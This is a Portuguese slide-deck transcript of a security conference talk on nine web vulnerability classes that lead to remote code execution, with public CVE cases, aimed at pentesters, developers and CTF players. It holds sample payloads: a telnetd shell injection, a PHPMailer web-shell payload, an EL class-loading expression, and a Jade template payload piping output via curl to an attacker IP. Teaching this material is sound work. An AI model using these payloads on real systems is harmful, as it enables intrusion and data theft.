SlideShare uma empresa Scribd logo
1 de 54
Baixar para ler offline
O MAIOR EVENTO DE HACKING, SEGURANÇA E
TECNOLOGIA DO BRASIL DO CONTINENTE
1001 Execuções de Código
Remoto
Manoel Abreu
9 Execuções de Código
Remoto
Manoel Abreu
Quem?
● Segurança como trabalho
○ Professor
○ Desenvolvedor
● Segurança como hobby
○ CTF - Jogador do ELT
○ Bug Bounty
4
Prove
5
Profit
6
Público alvo
● Pentesters
● Desenvolvedores
● Jogadores de CTF
● Você
7
Objetivo
● Conhecer as formas de obter um RCE
em sistemas Web
● Para cada, dos 9:
○ Breve resumo da falha
○ Como explorar para o RCE (Direta
ou Indiretamente)?
○ Como ALGUÉM explorou?
8
O que é?
● Capacidade do atacante executar
código na servidor da aplicação
[Web] através de uma entrada do
sistema.
9
A partir de __ para o RCE
● OS Command Injection
● XML eXternal Entity Injection
● Expression Language Injection
● Object Deserialization
● SQL Injection
● Server Side Request Forgery
● Server Side Template Injection
● Cross-Site Scripting
● Cross-Site Request Forgery
10
Como comprovar um RCE?
● Forjar requisições
○ CURL
○ WGET
● Sleep
● ICMP
● DNS
11
OS Command Injection -> RCE
12
0001
OS Command Injection
● O sistema utiliza a entrada do
usuário como parâmetro para a
execução de um binário do SO
Exemplo:
system(‘ping ’. $ip);
13
OS Command Injection
● Deteção
○ Funcionalidade baseada em
execução de algum binário
○ Provável que o input será
passado como argumento
14
OS Command Injection ->
RCE
● Exploração
○ Encadeamento
■ ; | `` $()
Exemplo: 127.0.0.1; ls -la
127.0.0.1 `wget ...`
127.0.0.1 | nc
15
OS Command Injection
● RCE na configuração do FTP
set_ftp.cgi?next_url=ftp.htm&loginuse=admin&l
oginpas=admin&svr=192.168.1.1&port=21&user=ftp&
pwd=$(telnetd -p25 -l/bin/sh)
&dir=/&mode=PORT&upload_interval=0
16
OS Command Injection
● Exemplo (Param Injection)
○ CVE-2016-10033 - PHPMailer
"Attacker " -Param2 -Param3"@test.com
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
17
OS Command Injection
$email_from = '"attacker" -oQ/tmp/
-X/var/www/cache/phpcode.php some"@email.com';
$msg_body = "<?php @eval($_GET[‘x’]); ?>";
Vai escrever o transfer log (-X) para
/var/www/cache/phpcode.php
18
XXE -> X -> RCE
19
0010
XXE
● Detecção
○ Aplicação tem como entrada
arquivos XML e faz algum parser
○ Valida e processa DTD (document type definition)
○ API / Webservice (SOAP)
20
XXE -> RCE
● Exploração
○ Criação de uma entidade externa
(EE) que acessa recursos/serviços
locais (host) (Mapeamento/leak)
○ PHP: Raro, mas possível uso do
expect://<cmd>
21
XXE -> RCE
● Exploração
○ Java: técnica do @ecbftw usando
jar://download (Java descompacta)
■ Força o download
■ Mantém a conexão aberta ao servir o
arquivo
■ Encontra o arquivo e instancia no
tomcat
22
XXE
● Exemplo
○ “How I hacked Pornhub for fun and
profit - 10,000$”
○ Usou XXE para extrair o fonte e
identificar novas vulnerabilidades
no código (Object Injection)
https://5haked.blogspot.com.br/
23
Expression Language
Injection -> RCE
24
0011
Expression Language
• Parte do JSTL (Java Server Pages Standard Tag Library)
• (View) -> (Bean)
• Permite o uso de simples
expressões para:
– Dinamicamente ler dados da app
– Dinamicamente escrever dados
– Chamar métodos arbitrários
25
Expression Language
<c:out value=”person.address.street”/>
● Ocorre quando a entrada do usuário é
executada pelo interpretador de EL
26
EL Injection
● Exploração
○ java.lang.Runtime
○ Reflection
■ .getClass().forName(‘’)
■ .getDeclaredMethods()[].invoke()
27
EL Injection -> RCE
● Exploração
○ Salva URL na sessão. URLClassLoader
○ ${pageContext.getClass().getClassLoader().
getParent().newInstance(pageContext.reques
t.getSession().getAttribute("arr").toArray
(pageContext.getClass().getClassLoader().g
etParent().getURLs())).loadClass("Maliciou
s").newInstance()}
http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
28
EL Injection
● Exemplo
○ Primefaces 5.x
■ dynamiccontent.properties.xhtml
■ Padrão NetBeans (Versão Atual!)
http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html
29
Object Deserialization -> RCE
30
0100
Object Deserialization
● Java, PHP, Ruby, Python ....
● Java serializa o objeto em um
stream de bytes (Binário)
● ac ed
● rO0
● H4sI (gzipped)
31
Object Deserialization
● Exploração (Java)
○ ObjectInputStream não inclui processo de
validação na sua API
○ Todas as classes que estão no classloader
podem ser utilizadas e desserializadas
○ Embora ocorra uma Class Cast Exception o
objeto ainda assim é criado
32
Object Deserialization
● Exploração (Java)
○ Agravou com o CVE-2015-7501 (ysoserial)
○ CommonsCollection -> Runtime.exec()
https://github.com/frohoff/ysoserial - http://frohoff.github.io/appseccali-marshalling-pickles/
33
Object Deserialization
● Exemplo
○ JSF
○ Richfaces 3.3.3 (CVE-2013-2165)
○ Log4J (CVE-2017-5645) (pimps)
○ JBoss, Jekins - jexboss
https://github.com/joaomatosf/jexboss
34
SQL Injection -> RCE
35
0101
SQL Injection
● Essa todo mundo já sabe…
● Se não sabe: falha que permite ao
atacante executar códigos SQL
através de parâmetros inseridos na
query
36
SQL Injection -> RCE
● Além dos já conhecidos métodos…
● E se for uma aplicação Ruby?
○ serialized YAML ou ERB no banco
○ LOAD_FILE secrets.yml. RCE com
Cookies
○ atualizar rake tasks
https://twitter.com/jobertabma/status/870077024454311936
37
SSRF -> RCE
38
0110
SSRF
● Permite um atacante fazer
requisições a partir do servidor
alvo
● Posição similar ao XXE,
possibilita mapear e vazar
informações
39
SSRF -> RCE
● A exploração para o RCE acontece
por meio da identificação de outra
vulnerabilidade no sistema local
40
SSRF -> RCE
● Exemplo:
○ Identificou a presença de um
Hashicorp Consul Agent na mesma
máquina
○ Forjou uma requisição PUT com
rn para subir um Agent (Carriage-Return,
Line-Feed)
http://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html (29/Maio/17)
41
Server Side Template Injection
-> RCE
42
0111
SSTI
● Proposta similar ao EL (Conteúdo
dinâmico)
● Falha ocorre ao inserir entrada
maliciosa do atacante no template
● Jinja2 / Flask / Jade / FreeMarker
/ Velocity / Twig
43
SSTI
http://blog.portswigger.net/2015/08/server-side-template-injection.html
44
SSTI
$output = $twig->render("
Dear {first_name} , ", array("first_name" =>
$user.first_name) );
$output = $twig->render( $_GET['custom_email']
, array("first_name" => $user.first_name) );
https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
45
SSTI
● Exemplo:
○ Jade:
/render/root.process.mainModule.require('c
hild_process').exec('ls -la | curl -F
”:data=@-” IP:Porta')
46
SSTI
● Exemplo:
○ Uber (Orange Tsai): $10,000
■ Jinj2
■ E-mail com SSTI no nome do perfil
■ {{7*7}} … 49
47
Cross-site scripting -> X
-> RCE
48
1000
Cross-site scripting
● Falha ocorre quando atacante
consegue inserir código js
(geralmente) no contexto da
aplicação
● Reflected
● Stored
● DOM
49
XSS -> RCE
● Teórica:
○ Roubo do Cookie
○ Exploração aproveita uma das
outras falhas vistas
anteriormente para RCE
50
Cross-Site Request Forgery
-> RCE
51
1001
CSRF
Como eu já sabia que não ia dar tempo:
ssd
https://youtu.be/iMdMtbKmvzc
Final do H4ck4fl4g 2016
52
#dontstophacking
twitter: @reefbr
facebook: /manoelt
youtube: Manoel Abreu
Curso Seg. Web: www.desec.com.br (breve)
Obrigado!
#dontstophacking
twitter: @reefbr
facebook: /manoelt
youtube: Manoel Abreu
Curso Seg. Web: www.desec.com.br (breve)

Mais conteúdo relacionado

Semelhante a 1001 Execuções de Código Remoto

Rootkits em kernel space - Redshift, um rootkit para o kernel do FreeBSD
Rootkits em kernel space - Redshift, um rootkit para o kernel do FreeBSDRootkits em kernel space - Redshift, um rootkit para o kernel do FreeBSD
Rootkits em kernel space - Redshift, um rootkit para o kernel do FreeBSDNullbyte Security Conference
 
Análise de malware com software livre
Análise de malware com software livreAnálise de malware com software livre
Análise de malware com software livreDiego Santos
 
Ferramentas GPL para segurança de redes - Vanderlei Pollon
Ferramentas GPL para segurança de redes - Vanderlei PollonFerramentas GPL para segurança de redes - Vanderlei Pollon
Ferramentas GPL para segurança de redes - Vanderlei PollonTchelinux
 
Inversão de Controlo e Injecção de Dependência na .NET Framework
Inversão de Controlo e Injecção de Dependência na .NET FrameworkInversão de Controlo e Injecção de Dependência na .NET Framework
Inversão de Controlo e Injecção de Dependência na .NET FrameworkC. Augusto Proiete
 
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...Jeronimo Zucco
 
Mini Curso - Pen Test - Univem
Mini Curso - Pen Test - UnivemMini Curso - Pen Test - Univem
Mini Curso - Pen Test - Univemevandrovv
 
Source-to-container no mundo real
Source-to-container no mundo realSource-to-container no mundo real
Source-to-container no mundo realEvandro Silvestre
 
Slide curso metasploit
Slide curso metasploitSlide curso metasploit
Slide curso metasploitRoberto Soares
 
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...Jeronimo Zucco
 
OOP (in portuguese)
OOP (in portuguese)OOP (in portuguese)
OOP (in portuguese)Bruno Pedro
 
Kubernetes no Governo Federal - Kubernetes Meetup #3
Kubernetes no Governo Federal - Kubernetes Meetup #3Kubernetes no Governo Federal - Kubernetes Meetup #3
Kubernetes no Governo Federal - Kubernetes Meetup #3Ricardo Katz
 
Visual Studio 2010 e C# 4
Visual Studio 2010 e C# 4Visual Studio 2010 e C# 4
Visual Studio 2010 e C# 4CDS
 
Apostilava Java EE 5 - 2007
Apostilava Java EE 5 - 2007Apostilava Java EE 5 - 2007
Apostilava Java EE 5 - 2007Rafael Benevides
 
Aplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWTAplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWTBruno Neves Menezes
 
Criando microsserviços em PHP
Criando microsserviços em PHPCriando microsserviços em PHP
Criando microsserviços em PHPFlávio Lisboa
 
Palestra Desenvolvimento Ágil para Web com ROR UVA
Palestra Desenvolvimento Ágil para Web com ROR UVAPalestra Desenvolvimento Ágil para Web com ROR UVA
Palestra Desenvolvimento Ágil para Web com ROR UVAThiago Cifani
 
O bom, o mau, o vilão... e o node.js
O bom, o mau, o vilão... e o node.jsO bom, o mau, o vilão... e o node.js
O bom, o mau, o vilão... e o node.jsNuno Paz
 

Semelhante a 1001 Execuções de Código Remoto (20)

Rootkits em kernel space - Redshift, um rootkit para o kernel do FreeBSD
Rootkits em kernel space - Redshift, um rootkit para o kernel do FreeBSDRootkits em kernel space - Redshift, um rootkit para o kernel do FreeBSD
Rootkits em kernel space - Redshift, um rootkit para o kernel do FreeBSD
 
Treinamento DBA Essential
Treinamento DBA EssentialTreinamento DBA Essential
Treinamento DBA Essential
 
Análise de malware com software livre
Análise de malware com software livreAnálise de malware com software livre
Análise de malware com software livre
 
Ferramentas GPL para segurança de redes - Vanderlei Pollon
Ferramentas GPL para segurança de redes - Vanderlei PollonFerramentas GPL para segurança de redes - Vanderlei Pollon
Ferramentas GPL para segurança de redes - Vanderlei Pollon
 
Inversão de Controlo e Injecção de Dependência na .NET Framework
Inversão de Controlo e Injecção de Dependência na .NET FrameworkInversão de Controlo e Injecção de Dependência na .NET Framework
Inversão de Controlo e Injecção de Dependência na .NET Framework
 
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...
Tchelinux live 2020 - Detectando e Respondendo Incidentes de Segurança em Fro...
 
Jsummit 2014
Jsummit 2014Jsummit 2014
Jsummit 2014
 
Secomp 2018 - DO Ruby ao Elixir
Secomp 2018 - DO Ruby ao ElixirSecomp 2018 - DO Ruby ao Elixir
Secomp 2018 - DO Ruby ao Elixir
 
Mini Curso - Pen Test - Univem
Mini Curso - Pen Test - UnivemMini Curso - Pen Test - Univem
Mini Curso - Pen Test - Univem
 
Source-to-container no mundo real
Source-to-container no mundo realSource-to-container no mundo real
Source-to-container no mundo real
 
Slide curso metasploit
Slide curso metasploitSlide curso metasploit
Slide curso metasploit
 
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...
Detectando e Respondendo Incidentes de Segurança em Frontends Nginx utilizand...
 
OOP (in portuguese)
OOP (in portuguese)OOP (in portuguese)
OOP (in portuguese)
 
Kubernetes no Governo Federal - Kubernetes Meetup #3
Kubernetes no Governo Federal - Kubernetes Meetup #3Kubernetes no Governo Federal - Kubernetes Meetup #3
Kubernetes no Governo Federal - Kubernetes Meetup #3
 
Visual Studio 2010 e C# 4
Visual Studio 2010 e C# 4Visual Studio 2010 e C# 4
Visual Studio 2010 e C# 4
 
Apostilava Java EE 5 - 2007
Apostilava Java EE 5 - 2007Apostilava Java EE 5 - 2007
Apostilava Java EE 5 - 2007
 
Aplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWTAplicações stateless com PHP e JWT
Aplicações stateless com PHP e JWT
 
Criando microsserviços em PHP
Criando microsserviços em PHPCriando microsserviços em PHP
Criando microsserviços em PHP
 
Palestra Desenvolvimento Ágil para Web com ROR UVA
Palestra Desenvolvimento Ágil para Web com ROR UVAPalestra Desenvolvimento Ágil para Web com ROR UVA
Palestra Desenvolvimento Ágil para Web com ROR UVA
 
O bom, o mau, o vilão... e o node.js
O bom, o mau, o vilão... e o node.jsO bom, o mau, o vilão... e o node.js
O bom, o mau, o vilão... e o node.js
 

1001 Execuções de Código Remoto

  • 1. O MAIOR EVENTO DE HACKING, SEGURANÇA E TECNOLOGIA DO BRASIL DO CONTINENTE
  • 2. 1001 Execuções de Código Remoto Manoel Abreu
  • 3. 9 Execuções de Código Remoto Manoel Abreu
  • 4. Quem? ● Segurança como trabalho ○ Professor ○ Desenvolvedor ● Segurança como hobby ○ CTF - Jogador do ELT ○ Bug Bounty 4
  • 7. Público alvo ● Pentesters ● Desenvolvedores ● Jogadores de CTF ● Você 7
  • 8. Objetivo ● Conhecer as formas de obter um RCE em sistemas Web ● Para cada, dos 9: ○ Breve resumo da falha ○ Como explorar para o RCE (Direta ou Indiretamente)? ○ Como ALGUÉM explorou? 8
  • 9. O que é? ● Capacidade do atacante executar código na servidor da aplicação [Web] através de uma entrada do sistema. 9
  • 10. A partir de __ para o RCE ● OS Command Injection ● XML eXternal Entity Injection ● Expression Language Injection ● Object Deserialization ● SQL Injection ● Server Side Request Forgery ● Server Side Template Injection ● Cross-Site Scripting ● Cross-Site Request Forgery 10
  • 11. Como comprovar um RCE? ● Forjar requisições ○ CURL ○ WGET ● Sleep ● ICMP ● DNS 11
  • 12. OS Command Injection -> RCE 12 0001
  • 13. OS Command Injection ● O sistema utiliza a entrada do usuário como parâmetro para a execução de um binário do SO Exemplo: system(‘ping ’. $ip); 13
  • 14. OS Command Injection ● Deteção ○ Funcionalidade baseada em execução de algum binário ○ Provável que o input será passado como argumento 14
  • 15. OS Command Injection -> RCE ● Exploração ○ Encadeamento ■ ; | `` $() Exemplo: 127.0.0.1; ls -la 127.0.0.1 `wget ...` 127.0.0.1 | nc 15
  • 16. OS Command Injection ● RCE na configuração do FTP set_ftp.cgi?next_url=ftp.htm&loginuse=admin&l oginpas=admin&svr=192.168.1.1&port=21&user=ftp& pwd=$(telnetd -p25 -l/bin/sh) &dir=/&mode=PORT&upload_interval=0 16
  • 17. OS Command Injection ● Exemplo (Param Injection) ○ CVE-2016-10033 - PHPMailer "Attacker " -Param2 -Param3"@test.com https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html 17
  • 18. OS Command Injection $email_from = '"attacker" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com'; $msg_body = "<?php @eval($_GET[‘x’]); ?>"; Vai escrever o transfer log (-X) para /var/www/cache/phpcode.php 18
  • 19. XXE -> X -> RCE 19 0010
  • 20. XXE ● Detecção ○ Aplicação tem como entrada arquivos XML e faz algum parser ○ Valida e processa DTD (document type definition) ○ API / Webservice (SOAP) 20
  • 21. XXE -> RCE ● Exploração ○ Criação de uma entidade externa (EE) que acessa recursos/serviços locais (host) (Mapeamento/leak) ○ PHP: Raro, mas possível uso do expect://<cmd> 21
  • 22. XXE -> RCE ● Exploração ○ Java: técnica do @ecbftw usando jar://download (Java descompacta) ■ Força o download ■ Mantém a conexão aberta ao servir o arquivo ■ Encontra o arquivo e instancia no tomcat 22
  • 23. XXE ● Exemplo ○ “How I hacked Pornhub for fun and profit - 10,000$” ○ Usou XXE para extrair o fonte e identificar novas vulnerabilidades no código (Object Injection) https://5haked.blogspot.com.br/ 23
  • 25. Expression Language • Parte do JSTL (Java Server Pages Standard Tag Library) • (View) -> (Bean) • Permite o uso de simples expressões para: – Dinamicamente ler dados da app – Dinamicamente escrever dados – Chamar métodos arbitrários 25
  • 26. Expression Language <c:out value=”person.address.street”/> ● Ocorre quando a entrada do usuário é executada pelo interpretador de EL 26
  • 27. EL Injection ● Exploração ○ java.lang.Runtime ○ Reflection ■ .getClass().forName(‘’) ■ .getDeclaredMethods()[].invoke() 27
  • 28. EL Injection -> RCE ● Exploração ○ Salva URL na sessão. URLClassLoader ○ ${pageContext.getClass().getClassLoader(). getParent().newInstance(pageContext.reques t.getSession().getAttribute("arr").toArray (pageContext.getClass().getClassLoader().g etParent().getURLs())).loadClass("Maliciou s").newInstance()} http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ 28
  • 29. EL Injection ● Exemplo ○ Primefaces 5.x ■ dynamiccontent.properties.xhtml ■ Padrão NetBeans (Versão Atual!) http://blog.mindedsecurity.com/2016/02/rce-in-oracle-netbeans-opensource.html 29
  • 31. Object Deserialization ● Java, PHP, Ruby, Python .... ● Java serializa o objeto em um stream de bytes (Binário) ● ac ed ● rO0 ● H4sI (gzipped) 31
  • 32. Object Deserialization ● Exploração (Java) ○ ObjectInputStream não inclui processo de validação na sua API ○ Todas as classes que estão no classloader podem ser utilizadas e desserializadas ○ Embora ocorra uma Class Cast Exception o objeto ainda assim é criado 32
  • 33. Object Deserialization ● Exploração (Java) ○ Agravou com o CVE-2015-7501 (ysoserial) ○ CommonsCollection -> Runtime.exec() https://github.com/frohoff/ysoserial - http://frohoff.github.io/appseccali-marshalling-pickles/ 33
  • 34. Object Deserialization ● Exemplo ○ JSF ○ Richfaces 3.3.3 (CVE-2013-2165) ○ Log4J (CVE-2017-5645) (pimps) ○ JBoss, Jekins - jexboss https://github.com/joaomatosf/jexboss 34
  • 35. SQL Injection -> RCE 35 0101
  • 36. SQL Injection ● Essa todo mundo já sabe… ● Se não sabe: falha que permite ao atacante executar códigos SQL através de parâmetros inseridos na query 36
  • 37. SQL Injection -> RCE ● Além dos já conhecidos métodos… ● E se for uma aplicação Ruby? ○ serialized YAML ou ERB no banco ○ LOAD_FILE secrets.yml. RCE com Cookies ○ atualizar rake tasks https://twitter.com/jobertabma/status/870077024454311936 37
  • 39. SSRF ● Permite um atacante fazer requisições a partir do servidor alvo ● Posição similar ao XXE, possibilita mapear e vazar informações 39
  • 40. SSRF -> RCE ● A exploração para o RCE acontece por meio da identificação de outra vulnerabilidade no sistema local 40
  • 41. SSRF -> RCE ● Exemplo: ○ Identificou a presença de um Hashicorp Consul Agent na mesma máquina ○ Forjou uma requisição PUT com rn para subir um Agent (Carriage-Return, Line-Feed) http://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html (29/Maio/17) 41
  • 42. Server Side Template Injection -> RCE 42 0111
  • 43. SSTI ● Proposta similar ao EL (Conteúdo dinâmico) ● Falha ocorre ao inserir entrada maliciosa do atacante no template ● Jinja2 / Flask / Jade / FreeMarker / Velocity / Twig 43
  • 45. SSTI $output = $twig->render(" Dear {first_name} , ", array("first_name" => $user.first_name) ); $output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) ); https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf 45
  • 47. SSTI ● Exemplo: ○ Uber (Orange Tsai): $10,000 ■ Jinj2 ■ E-mail com SSTI no nome do perfil ■ {{7*7}} … 49 47
  • 48. Cross-site scripting -> X -> RCE 48 1000
  • 49. Cross-site scripting ● Falha ocorre quando atacante consegue inserir código js (geralmente) no contexto da aplicação ● Reflected ● Stored ● DOM 49
  • 50. XSS -> RCE ● Teórica: ○ Roubo do Cookie ○ Exploração aproveita uma das outras falhas vistas anteriormente para RCE 50
  • 52. CSRF Como eu já sabia que não ia dar tempo: ssd https://youtu.be/iMdMtbKmvzc Final do H4ck4fl4g 2016 52
  • 53. #dontstophacking twitter: @reefbr facebook: /manoelt youtube: Manoel Abreu Curso Seg. Web: www.desec.com.br (breve)
  • 54. Obrigado! #dontstophacking twitter: @reefbr facebook: /manoelt youtube: Manoel Abreu Curso Seg. Web: www.desec.com.br (breve)